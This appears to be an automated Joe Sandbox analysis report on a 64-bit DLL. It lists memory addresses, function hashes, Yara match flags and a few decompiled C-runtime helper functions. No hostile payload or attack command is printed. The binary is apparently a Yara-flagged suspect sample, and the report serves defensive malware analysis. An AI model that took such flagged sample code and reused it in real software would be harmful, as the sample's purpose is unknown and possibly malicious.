                                                                        0x00000000
                                                                        0x10005b8e
                                                                        0x100059da
                                                                        0x100059da
                                                                        0x100059e8
                                                                        0x100059eb
                                                                        0x100059f0
                                                                        0x100059f3
                                                                        0x100059f6
                                                                        0x10005a00
                                                                        0x10005a04
                                                                        0x10005a07
                                                                        0x10005a10
                                                                        0x10005a10
                                                                        0x10005a14
                                                                        0x10005a18
                                                                        0x10005a18
                                                                        0x10005a1c
                                                                        0x10005a1c
                                                                        0x10005a28
                                                                        0x10005a28
                                                                        0x10005a2f
                                                                        0x10005a35
                                                                        0x10005a40
                                                                        0x10005a40
                                                                        0x10005a44
                                                                        0x10005a48
                                                                        0x10005a48
                                                                        0x10005a4c
                                                                        0x10005a55
                                                                        0x10005a55
                                                                        0x10005b87
                                                                        0x10005b87
                                                                        0x00000000
                                                                        0x10005b87
                                                                        0x1000589d
                                                                        0x1000589d
                                                                        0x100058a1
                                                                        0x100058a9
                                                                        0x100058ae
                                                                        0x100058b3
                                                                        0x100058b6
                                                                        0x100058b9
                                                                        0x100059bf
                                                                        0x100059c2
                                                                        0x100059c6
                                                                        0x10005b7f
                                                                        0x10005b82
                                                                        0x00000000
                                                                        0x10005b82
                                                                        0x100058bf
                                                                        0x100058c4
                                                                        0x100058c9
                                                                        0x10005906
                                                                        0x10005906
                                                                        0x10005906
                                                                        0x10005910
                                                                        0x10005910
                                                                        0x10005914
                                                                        0x10005917
                                                                        0x1000591b
                                                                        0x1000591b
                                                                        0x1000591b
                                                                        0x10005924
                                                                        0x10005924
                                                                        0x1000592a
                                                                        0x100059a4
                                                                        0x100059b0
                                                                        0x100059b3
                                                                        0x100059b7
                                                                        0x1000592c
                                                                        0x1000592c
                                                                        0x1000592c
                                                                        0x1000592f
                                                                        0x10005989
                                                                        0x10005995
                                                                        0x10005998
                                                                        0x1000599c
                                                                        0x10005931
                                                                        0x10005931
                                                                        0x10005931
                                                                        0x10005934
                                                                        0x1000596e
                                                                        0x1000597a
                                                                        0x1000597d
                                                                        0x10005981
                                                                        0x10005936
                                                                        0x10005936
                                                                        0x10005939
                                                                        0x10005953
                                                                        0x1000595f
                                                                        0x10005962
                                                                        0x10005966
                                                                        0x1000593b
                                                                        0x1000593b
                                                                        0x1000593e
                                                                        0x10005945
                                                                        0x10005949
                                                                        0x1000594c
                                                                        0x10005939
                                                                        0x10005934
                                                                        0x1000592f
                                                                        0x00000000
                                                                        0x100058d0
                                                                        0x100058d0
                                                                        0x100058d0
                                                                        0x100058d4
                                                                        0x100058d6
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x100058d8
                                                                        0x100058dc
                                                                        0x100058df
                                                                        0x100058e2
                                                                        0x100058fd
                                                                        0x100058fd
                                                                        0x10005901
                                                                        0x10005904
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x100058e4
                                                                        0x100058e7
                                                                        0x100058e7
                                                                        0x100058ec
                                                                        0x100058f0
                                                                        0x100058f0
                                                                        0x100058f3
                                                                        0x100058f7
                                                                        0x100058f7
                                                                        0x100058f7
                                                                        0x00000000
                                                                        0x100058f0
                                                                        0x100058e2
                                                                        0x00000000
                                                                        0x100058d0
                                                                        0x100058c9
                                                                        0x10005a69
                                                                        0x10005a6d
                                                                        0x10005a75
                                                                        0x10005a89
                                                                        0x10005a90
                                                                        0x10005a96
                                                                        0x10005a96
                                                                        0x10005aa0
                                                                        0x10005aa0
                                                                        0x10005aa3
                                                                        0x10005aa6
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x10005ab0
                                                                        0x10005ab0
                                                                        0x10005ab5
                                                                        0x10005ab7
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x10005ab9
                                                                        0x10005ac0
                                                                        0x10005ac2
                                                                        0x10005ae7
                                                                        0x10005ae7
                                                                        0x10005aeb
                                                                        0x10005aee
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x10005aee
                                                                        0x10005ac4
                                                                        0x10005ac4
                                                                        0x10005ad0
                                                                        0x10005ad4
                                                                        0x10005ad7
                                                                        0x10005adb
                                                                        0x10005ae3
                                                                        0x10005ae3
                                                                        0x00000000
                                                                        0x10005ad0
                                                                        0x10005af0
                                                                        0x10005af0
                                                                        0x10005af4
                                                                        0x10005af8
                                                                        0x10005af8
                                                                        0x10005af8
                                                                        0x10005afe
                                                                        0x10005b01
                                                                        0x10005b01
                                                                        0x10005b07
                                                                        0x10005b0e
                                                                        0x10005b34
                                                                        0x10005b10
                                                                        0x10005b10
                                                                        0x10005b10
                                                                        0x10005b13
                                                                        0x10005b2d
                                                                        0x10005b15
                                                                        0x10005b15
                                                                        0x10005b15
                                                                        0x10005b18
                                                                        0x10005b26
                                                                        0x10005b1a
                                                                        0x10005b1a
                                                                        0x10005b1d
                                                                        0x10005b1f
                                                                        0x10005b1f
                                                                        0x10005b1d
                                                                        0x10005b18
                                                                        0x10005b13
                                                                        0x10005b39
                                                                        0x10005b40
                                                                        0x10005b40
                                                                        0x10005b49
                                                                        0x10005b53
                                                                        0x10005b5d
                                                                        0x10005b67
                                                                        0x10005b71
                                                                        0x10005b7b
                                                                        0x00000000
                                                                        0x100057c8
                                                                        0x100057c8
                                                                        0x100057c8
                                                                        0x100057d6
                                                                        0x100057d9
                                                                        0x100057e7
                                                                        0x100057ea
                                                                        0x100057ed
                                                                        0x100057f0
                                                                        0x100057f7
                                                                        0x100057f7
                                                                        0x10005830
                                                                        0x10005830
                                                                        0x10005830
                                                                        0x10005834
                                                                        0x10005838
                                                                        0x1000583c
                                                                        0x10005845
                                                                        0x10005845
                                                                        0x10005b93
                                                                        0x10005bbe
                                                                        0x10005800
                                                                        0x10005800
                                                                        0x10005804
                                                                        0x10005808
                                                                        0x1000580c
                                                                        0x1000580f
                                                                        0x00000000
                                                                        0x10005811
                                                                        0x10005818
                                                                        0x10005818
                                                                        0x1000581f
                                                                        0x00000000
                                                                        0x10005825
                                                                        0x1000580f

                                                                        APIs
                                                                          • Part of subcall function 10005680: GetOEMCP.KERNEL32(?,?,?,?,10005C05,?,?,?,?,?,?,?,?,10005E17), ref: 10005728
                                                                        • GetCPInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,10005C4B), ref: 1000588F
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492406706.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                        • Associated: 00000000.00000002.492402426.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492417087.0000000010011000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492422696.0000000010016000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492427630.0000000010019000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_10000000_loaddll64.jbxd
                                                                        Similarity
                                                                        • API ID: Info
                                                                        • String ID:
                                                                        • API String ID: 1807457897-0
                                                                        • Opcode ID: fafca7d3ffc1c94b2abc0c0ef850de6496e0bcb1bd685c619dc379a617b1e6cd
                                                                        • Instruction ID: 9b0baa792108fd50333dad1a83cc2f9aac8735b5c2f927a96a0244e5ff2f5627
                                                                        • Opcode Fuzzy Hash: fafca7d3ffc1c94b2abc0c0ef850de6496e0bcb1bd685c619dc379a617b1e6cd
                                                                        • Instruction Fuzzy Hash: 76B113B6A087C48AE701CF35D44436EBBA0F30ABC9F94811ADB894734DDB7ADA54CB54
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180028EE8 Relevance: 1.7, Strings: 1, Instructions: 419COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: Ur]
                                                                        • API String ID: 0-600291052
                                                                        • Opcode ID: 64e690ac8426610d062dc583145fa161d3b193d70f0436ed757cb7abd9eb7821
                                                                        • Instruction ID: 6761e3f6b270b43fdf2258f1aba4d69ad742262d65a36df835a4ee539bf56a12
                                                                        • Opcode Fuzzy Hash: 64e690ac8426610d062dc583145fa161d3b193d70f0436ed757cb7abd9eb7821
                                                                        • Instruction Fuzzy Hash: CD32E4709096C88BDBF9CF24C8897DD7BF0FF48344F50555A984E9A694CBB86688CF42
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180024330 Relevance: 1.6, Strings: 1, Instructions: 355COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: yYO5
                                                                        • API String ID: 0-1967960796
                                                                        • Opcode ID: e2825577a0dd0e975e7e979c583ae4eab27c5c54df693b2f0feb2ff2088a3791
                                                                        • Instruction ID: 78d657281fec500a725749bb2a885d981c64be0ffe88161d2278a66f25988a4f
                                                                        • Opcode Fuzzy Hash: e2825577a0dd0e975e7e979c583ae4eab27c5c54df693b2f0feb2ff2088a3791
                                                                        • Instruction Fuzzy Hash: 2D02E1B1504609DFDB98CF28C089ACE7BE0FF48308F41852AFD4ADA6A4D774DA58DB45
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180024918 Relevance: 1.6, Strings: 1, Instructions: 329COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: Rie
                                                                        • API String ID: 0-476967049
                                                                        • Opcode ID: 526e540bc71e94854237864a489690c71fa8e669b7e5c6485427e735c6976a30
                                                                        • Instruction ID: 75fc17b193cf4fea836a3bc722709a87812220b4bb2fb2b8525e962ecd25b672
                                                                        • Opcode Fuzzy Hash: 526e540bc71e94854237864a489690c71fa8e669b7e5c6485427e735c6976a30
                                                                        • Instruction Fuzzy Hash: F60276B5900709CFDB98CF28D59A5DD7BB9FB49348F004129FC0E9A2A0D3B4E919CB56
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180021D2C Relevance: 1.6, Strings: 1, Instructions: 314COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: VGL
                                                                        • API String ID: 0-3868899587
                                                                        • Opcode ID: b788162f0c7f1e343e5ebd9412dadc3896a0e0c79e9535f9615901b8107fa579
                                                                        • Instruction ID: 4489dd49ac70e8a75e75b07ae7877e0561bf3dbd8dce0cc65b0e599894a495e7
                                                                        • Opcode Fuzzy Hash: b788162f0c7f1e343e5ebd9412dadc3896a0e0c79e9535f9615901b8107fa579
                                                                        • Instruction Fuzzy Hash: 22F1C671A0470D8FDB99DFA4C44AADEB7F2FB5C384F004119D806B6290DBB49919CBA9
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 10007E00 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 37%
                                                                        			E10007E00() {
				signed int _v16;
				char _v18;
				char _v24;
				signed int _t12;
				signed long long _t16;
				void* _t23;
				signed long long _t24;

				_t16 =  *0x10016058; // 0x9983997faf96
				_v16 = _t16 ^ _t24;
				r9d = 6;
				_v18 = 0;
				if(GetLocaleInfoA(??, ??, ??, ??) != 0) {
					E100013B0( &_v24, _t23);
					return E10001050(_t12, _v16 ^ _t24);
				} else {
					return E10001050(_t12, _v16 ^ _t24);
				}
			}










                                                                        0x10007e04
                                                                        0x10007e0e
                                                                        0x10007e18
                                                                        0x10007e23
                                                                        0x10007e30
                                                                        0x10007e4e
                                                                        0x10007e64
                                                                        0x10007e32
                                                                        0x10007e48
                                                                        0x10007e48

                                                                        APIs
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492406706.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                        • Associated: 00000000.00000002.492402426.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492417087.0000000010011000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492422696.0000000010016000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492427630.0000000010019000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_10000000_loaddll64.jbxd
                                                                        Similarity
                                                                        • API ID: InfoLocale
                                                                        • String ID:
                                                                        • API String ID: 2299586839-0
                                                                        • Opcode ID: 3db5ba3e355408a75a8347fac585659e6ca4a9226050e12067591fa7ea6d683b
                                                                        • Instruction ID: f73f8ef3cca34e1c401e87a443b23198de7fedcbb2003848db7880c5c100b8c2
                                                                        • Opcode Fuzzy Hash: 3db5ba3e355408a75a8347fac585659e6ca4a9226050e12067591fa7ea6d683b
                                                                        • Instruction Fuzzy Hash: 64F012657049C081F721D725E85238B6751E79C7D8F850206EA8D46769DE6CD2858F00
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 10006580 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 68%
                                                                        			E10006580(long long __rax) {
				long long _t6;

				_t6 = __rax;
				E10002B00(SetUnhandledExceptionFilter(??), __rax, __rax);
				 *0x10017ed0 = 1;
				 *0x10017ec8 = _t6;
				return 0;
			}




                                                                        0x10006580
                                                                        0x10006594
                                                                        0x10006599
                                                                        0x100065a0
                                                                        0x100065ad

                                                                        APIs
                                                                        • SetUnhandledExceptionFilter.KERNEL32 ref: 1000658B
                                                                          • Part of subcall function 10002B00: FlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,10004589), ref: 10002B14
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492406706.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                        • Associated: 00000000.00000002.492402426.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492417087.0000000010011000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492422696.0000000010016000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492427630.0000000010019000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_10000000_loaddll64.jbxd
                                                                        Similarity
                                                                        • API ID: ExceptionFilterUnhandledValue
                                                                        • String ID:
                                                                        • API String ID: 4104407774-0
                                                                        • Opcode ID: dbc37bc796e459899ac7b7d3b19890a1ec4af5a2da73df6f9428ce87c7e9b4f3
                                                                        • Instruction ID: 9193022255e9c6e06c0bd2b1afbda626058234e0ec07033dda335fac75079d61
                                                                        • Opcode Fuzzy Hash: dbc37bc796e459899ac7b7d3b19890a1ec4af5a2da73df6f9428ce87c7e9b4f3
                                                                        • Instruction Fuzzy Hash: B4D01234611640C1E707EB61EC953C127E2735D794F940454C48D42321DBFDC4D98300
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 100065B0 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 68%
                                                                        			E100065B0(intOrPtr __rax) {
				_Unknown_base(*)()* _t1;
				_Unknown_base(*)()* _t3;
				intOrPtr _t6;

				if( *0x10017ed0 != 0) {
					_t6 =  *0x10017ec8; // 0xe36efac00007ff7c
					E10002BD0(_t1, __rax, _t6);
					_t3 = SetUnhandledExceptionFilter(??);
					 *0x10017ed0 = 0;
					return _t3;
				}
				return _t1;
			}






                                                                        0x100065bb
                                                                        0x100065bd
                                                                        0x100065c4
                                                                        0x100065cc
                                                                        0x100065d2
                                                                        0x00000000
                                                                        0x100065d2
                                                                        0x100065dd

                                                                        APIs
                                                                          • Part of subcall function 10002BD0: FlsGetValue.KERNEL32(?,?,?,100022C5,?,?,?,10001127), ref: 10002BE4
                                                                        • SetUnhandledExceptionFilter.KERNEL32 ref: 100065CC
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492406706.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                        • Associated: 00000000.00000002.492402426.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492417087.0000000010011000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492422696.0000000010016000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492427630.0000000010019000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_10000000_loaddll64.jbxd
                                                                        Similarity
                                                                        • API ID: ExceptionFilterUnhandledValue
                                                                        • String ID:
                                                                        • API String ID: 4104407774-0
                                                                        • Opcode ID: fabc24a8ae4cbfc0a1d02514b0d7c88cb3d5f5bf17ebb235822b8a79f91daaf8
                                                                        • Instruction ID: f1e6cb7f850c1f36d50c35250593cfc20071becb3d03a5a344b2e9c09ea8bc8b
                                                                        • Opcode Fuzzy Hash: fabc24a8ae4cbfc0a1d02514b0d7c88cb3d5f5bf17ebb235822b8a79f91daaf8
                                                                        • Instruction Fuzzy Hash: 04D0C978D1168080FB17E752EC593902BE1739D785F480185C48A023659BFCC8C98700
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180015C50 Relevance: 1.5, Strings: 1, Instructions: 260COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: #X
                                                                        • API String ID: 0-1684620495
                                                                        • Opcode ID: da2adffbae41e7923876cce57094e7750823e10b7348c86b2f4e23924cd6f9cb
                                                                        • Instruction ID: 996eab6eaca5d5265828eb41c29e325142f7c3d4fe6c0a57cd2d47f768fc1ae9
                                                                        • Opcode Fuzzy Hash: da2adffbae41e7923876cce57094e7750823e10b7348c86b2f4e23924cd6f9cb
                                                                        • Instruction Fuzzy Hash: 1CD1EF7190570CCBDB59DF28C28A6DE7BE5FF44344F108029EC1E9A2A1D7B4EA19CB46
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018001F764 Relevance: 1.5, Strings: 1, Instructions: 233COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: >Rmi
                                                                        • API String ID: 0-3132450374
                                                                        • Opcode ID: e21b6df5a34cb4e8e96921adb36fc9e903f60ed374113cea348f266eb152327c
                                                                        • Instruction ID: f8dfb8fd1dd3953ce055712c67f99d38bda8f5d8b73e988b4872f4163cc7b3a6
                                                                        • Opcode Fuzzy Hash: e21b6df5a34cb4e8e96921adb36fc9e903f60ed374113cea348f266eb152327c
                                                                        • Instruction Fuzzy Hash: 3FC1E7715097C88BEBBACF64C8897DE7BE8FB44708F10461DE94ADA258DBB45748CB01
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180020DBC Relevance: 1.5, Strings: 1, Instructions: 231COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: nf
                                                                        • API String ID: 0-511086779
                                                                        • Opcode ID: c783981f98dfcff9253c90c0b40cb4186f2ddc319e405974b5f0546962d9f338
                                                                        • Instruction ID: 01eb8fca2de3953a910857ce42a9b47cf04be81db66cc9f2db55e745aa6ec076
                                                                        • Opcode Fuzzy Hash: c783981f98dfcff9253c90c0b40cb4186f2ddc319e405974b5f0546962d9f338
                                                                        • Instruction Fuzzy Hash: 6AB13D715143898FEBF9CF28C88A7D97BA1FB55344F508519E88ECE292CF745A88CB41
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018000FAD0 Relevance: 1.5, Strings: 1, Instructions: 227COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: H==
                                                                        • API String ID: 0-2097848114
                                                                        • Opcode ID: 6aa1afaeaad519201849dbc7e157ccdea6bd05ed84e970835034cc355b1b1bc0
                                                                        • Instruction ID: d1327f51144ea5702c7006b7f9f404473f64bcaf9d634d6272cf48887a98c6ac
                                                                        • Opcode Fuzzy Hash: 6aa1afaeaad519201849dbc7e157ccdea6bd05ed84e970835034cc355b1b1bc0
                                                                        • Instruction Fuzzy Hash: DEB11A7090070C9BEFA9CFA4C4896DDBBB0FB48354F505129F806AB695DBB49985CF81
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018001D9C4 Relevance: 1.5, Strings: 1, Instructions: 215COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: iS
                                                                        • API String ID: 0-1343070094
                                                                        • Opcode ID: 25276cdb969a49ef9c1e14763d65e272f0d6356fed2457f95a15ef8918c117c0
                                                                        • Instruction ID: 74074b5ba73feeeae4050a033ce1d855c5bedbf58e11dcb31c973a0ba3fb7884
                                                                        • Opcode Fuzzy Hash: 25276cdb969a49ef9c1e14763d65e272f0d6356fed2457f95a15ef8918c117c0
                                                                        • Instruction Fuzzy Hash: 1BB1E2B150464ECFDB98DF28C489ACA3BA0FF48354F41851AFC099B2A4D774DA68DB85
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180022638 Relevance: 1.5, Strings: 1, Instructions: 206COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: 0_N
                                                                        • API String ID: 0-1005381763
                                                                        • Opcode ID: 66f73bde71857f2768625a486b850502f407701e72f4f84b17173857b5bb8ce6
                                                                        • Instruction ID: b92fd151b6c19e894c6182f5aa88a43b411055e05ffbc4a31232f36ad8230fa8
                                                                        • Opcode Fuzzy Hash: 66f73bde71857f2768625a486b850502f407701e72f4f84b17173857b5bb8ce6
                                                                        • Instruction Fuzzy Hash: CEB175B590024DCFDBA8CF38C14A59D7BE1BB54308F606129FC269A2B2E7B4D919CF54
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018000B698 Relevance: 1.4, Strings: 1, Instructions: 199COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: |PF
                                                                        • API String ID: 0-3392517737
                                                                        • Opcode ID: bc61e09b7d1210c127e42a950b3f768bafdcd2c6281ccb9736a09fc17edbea84
                                                                        • Instruction ID: 81c7ea571ffb2cce4be02815541879160be90b278db15a3eb3ef045767136531
                                                                        • Opcode Fuzzy Hash: bc61e09b7d1210c127e42a950b3f768bafdcd2c6281ccb9736a09fc17edbea84
                                                                        • Instruction Fuzzy Hash: 2191FF7010424E8BEB59CF24C8976EE3FA0FB19388F614219FC86962A1D778D665CBC5
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018001E4A8 Relevance: 1.4, Strings: 1, Instructions: 194COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: Z<&
                                                                        • API String ID: 0-3145622270
                                                                        • Opcode ID: 7c9071b45caa33574ddf6cbee62182f14101306f73888bb589213b9ed99f1052
                                                                        • Instruction ID: 47540a91412c637c951964fb44e638d74e8c36ced36a45ce33940dfd16cff6bb
                                                                        • Opcode Fuzzy Hash: 7c9071b45caa33574ddf6cbee62182f14101306f73888bb589213b9ed99f1052
                                                                        • Instruction Fuzzy Hash: 3391E67090478C8FDB68DFA9C4895DDBFB0FB58348F20421DE856AB2A2DB749545CF81
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 00000001800216A8 Relevance: 1.4, Strings: 1, Instructions: 183COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: %rJ
                                                                        • API String ID: 0-1336993117
                                                                        • Opcode ID: 9dbb960e2fa26b28cdfd59e86d9a90996c0c910b63b490fead436fa2390c969a
                                                                        • Instruction ID: f50ac01b5f5fc324d422693f4531fd0774c48356f1673a5aaf4d6e0bbdec27aa
                                                                        • Opcode Fuzzy Hash: 9dbb960e2fa26b28cdfd59e86d9a90996c0c910b63b490fead436fa2390c969a
                                                                        • Instruction Fuzzy Hash: 4AA1FC7050478CABEBBEDF24CC867DA37A8FB58704F108619E82D8E290DB765745CB41
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180029DA8 Relevance: 1.4, Strings: 1, Instructions: 171COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: D=",
                                                                        • API String ID: 0-2364230774
                                                                        • Opcode ID: 341c41dceb64fee3a9e1cbb856ceda06c278c7da28d488f4ea5d7b40f404de38
                                                                        • Instruction ID: 0645d0267c64f377fb9862fd54ea4fa23d38253ecae3ec43b6f890725d4c0300
                                                                        • Opcode Fuzzy Hash: 341c41dceb64fee3a9e1cbb856ceda06c278c7da28d488f4ea5d7b40f404de38
                                                                        • Instruction Fuzzy Hash: E49165B590070CCFDB99DF28C19A69D3BA8FF59308F104129FC1E8A6A4D378E518CB46
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

